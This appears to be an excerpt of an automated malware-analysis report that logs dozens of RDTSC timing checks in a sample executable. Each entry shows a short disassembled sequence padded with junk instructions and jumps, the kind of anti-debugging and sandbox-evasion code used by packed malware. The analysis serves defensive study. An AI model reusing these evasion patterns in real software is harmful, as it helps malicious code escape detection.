Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 773847 second address: 773860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCD0E30Ch 0x00000009 popad 0x0000000a jns 00007FC4DCD0E308h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 773860 second address: 77386C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC4DCC8C6C6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 771C19 second address: 771C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 771C1D second address: 771C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 771C25 second address: 771C30 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop ecx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 772039 second address: 77203D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 77241B second address: 77241F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 77241F second address: 772430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007FC4DCC8C6C6h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 77258C second address: 7725AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 jl 00007FC4DCD0E306h 0x0000000d pop edx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FC4DCD0E30Eh 0x00000017 pushad 0x00000018 popad 0x00000019 jp 00007FC4DCD0E306h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7736A7 second address: 7736C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC4DCC8C6D8h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7736C6 second address: 7736CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7736CC second address: 7736D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7736D0 second address: 7736E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E30Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jnl 00007FC4DCD0E306h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 779577 second address: 77957D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 77957D second address: 779581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 779581 second address: 779590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC4DCC8C6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 779590 second address: 779596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 778FFB second address: 77902D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC4DCC8C6CBh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d js 00007FC4DCC8C6EEh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC4DCC8C6D7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 784980 second address: 78499C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC4DCD0E30Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC4DCD0E30Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 78499C second address: 7849B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC4DCC8C6CEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7847ED second address: 7847F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FC4DCD0E306h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7847F8 second address: 784826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FC4DCC8C6CEh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e push ebx 0x0000000f jno 00007FC4DCC8C6C6h 0x00000015 jnc 00007FC4DCC8C6C6h 0x0000001b pop ebx 0x0000001c jbe 00007FC4DCC8C6CEh 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 785F12 second address: 785F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 785F1D second address: 785F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 785F21 second address: 785F2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E30Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 789E8F second address: 789E95 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 789FD6 second address: 789FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 789FDA second address: 789FDF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 78D60B second address: 78D618 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC4DCD0E308h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 79266F second address: 79267F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 79267F second address: 7926B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FC4DCD0E322h 0x0000000f jmp 00007FC4DCD0E316h 0x00000014 jnl 00007FC4DCD0E306h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 79B8BF second address: 79B8C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 79B8C7 second address: 79B8CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A2F6A second address: 7A2F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC4DCC8C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A2F74 second address: 7A2F87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E30Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A2F87 second address: 7A2FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC4DCC8C6CCh 0x0000000c jmp 00007FC4DCC8C6CDh 0x00000011 popad 0x00000012 jc 00007FC4DCC8C6CEh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A2FB0 second address: 7A2FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A2FBE second address: 7A2FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 je 00007FC4DCC8C6C6h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A2FD1 second address: 7A2FE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E30Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FC4DCD0E306h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A357D second address: 7A35B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D8h 0x00000007 jmp 00007FC4DCC8C6D9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A3732 second address: 7A3750 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC4DCD0E306h 0x00000008 jmp 00007FC4DCD0E30Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007FC4DCD0E306h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A3750 second address: 7A3776 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 push ebx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jnp 00007FC4DCC8C6C6h 0x00000011 pop ebx 0x00000012 jg 00007FC4DCC8C6D8h 0x00000018 jmp 00007FC4DCC8C6CCh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A8169 second address: 7A816F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A816F second address: 7A8173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7A8173 second address: 7A8186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC4DCD0E306h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7B3432 second address: 7B3453 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007FC4DCC8C6D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7BAD60 second address: 7BAD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a je 00007FC4DCD0E30Eh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7C74AC second address: 7C74BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC4DCC8C6CEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7C7211 second address: 7C7232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCD0E30Bh 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jc 00007FC4DCD0E306h 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E175E second address: 7E1776 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FC4DCC8C6CEh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E1776 second address: 7E177A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E177A second address: 7E177E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E1A56 second address: 7E1A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jp 00007FC4DCD0E306h 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E1A62 second address: 7E1A6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FC4DCC8C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E1BE8 second address: 7E1BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC4DCD0E310h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E1BFC second address: 7E1C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E1D71 second address: 7E1D9E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 js 00007FC4DCD0E306h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FC4DCD0E321h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E1D9E second address: 7E1DA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E1DA6 second address: 7E1DB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FC4DCD0E306h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E1DB6 second address: 7E1DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E1DBA second address: 7E1DBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E1DBE second address: 7E1DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E208A second address: 7E208F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E208F second address: 7E2097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E2359 second address: 7E236B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC4DCD0E30Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E24E3 second address: 7E24F3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jo 00007FC4DCC8C6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E24F3 second address: 7E2512 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FC4DCD0E311h 0x0000000e jmp 00007FC4DCD0E30Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E2512 second address: 7E2516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E57EA second address: 7E5824 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC4DCD0E30Eh 0x00000008 jng 00007FC4DCD0E308h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jng 00007FC4DCD0E308h 0x00000019 push edi 0x0000001a pop edi 0x0000001b jmp 00007FC4DCD0E313h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E5824 second address: 7E582A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E582A second address: 7E582E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E82B3 second address: 7E82B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E82B7 second address: 7E82D8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC4DCD0E306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jl 00007FC4DCD0E306h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jl 00007FC4DCD0E306h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E82D8 second address: 7E82DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E8559 second address: 7E855E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E855E second address: 7E85B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FC4DCC8C6C8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 push 00000004h 0x00000028 pushad 0x00000029 mov ecx, dword ptr [ebp+122D324Bh] 0x0000002f mov edi, 16A51E51h 0x00000034 popad 0x00000035 call 00007FC4DCC8C6C9h 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push edi 0x0000003e pop edi 0x0000003f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E85B7 second address: 7E85EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E313h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b jmp 00007FC4DCD0E30Ch 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007FC4DCD0E30Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E85EA second address: 7E85EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E85EE second address: 7E861D instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC4DCD0E30Ch 0x00000008 jc 00007FC4DCD0E306h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push esi 0x00000013 pushad 0x00000014 jbe 00007FC4DCD0E306h 0x0000001a jc 00007FC4DCD0E306h 0x00000020 popad 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 je 00007FC4DCD0E30Eh 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E887B second address: 7E887F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7E887F second address: 7E88D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 pushad 0x00000009 xor ah, 00000009h 0x0000000c mov dl, 01h 0x0000000e popad 0x0000000f push dword ptr [ebp+122D30E4h] 0x00000015 call 00007FC4DCD0E310h 0x0000001a call 00007FC4DCD0E30Bh 0x0000001f jmp 00007FC4DCD0E314h 0x00000024 pop edx 0x00000025 pop edx 0x00000026 call 00007FC4DCD0E309h 0x0000002b push eax 0x0000002c push edx 0x0000002d push ebx 0x0000002e pushad 0x0000002f popad 0x00000030 pop ebx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7EA2EE second address: 7EA2F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7EA2F7 second address: 7EA31A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FC4DCD0E319h 0x0000000a popad 0x0000000b push edi 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7EA31A second address: 7EA327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7EA327 second address: 7EA32B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
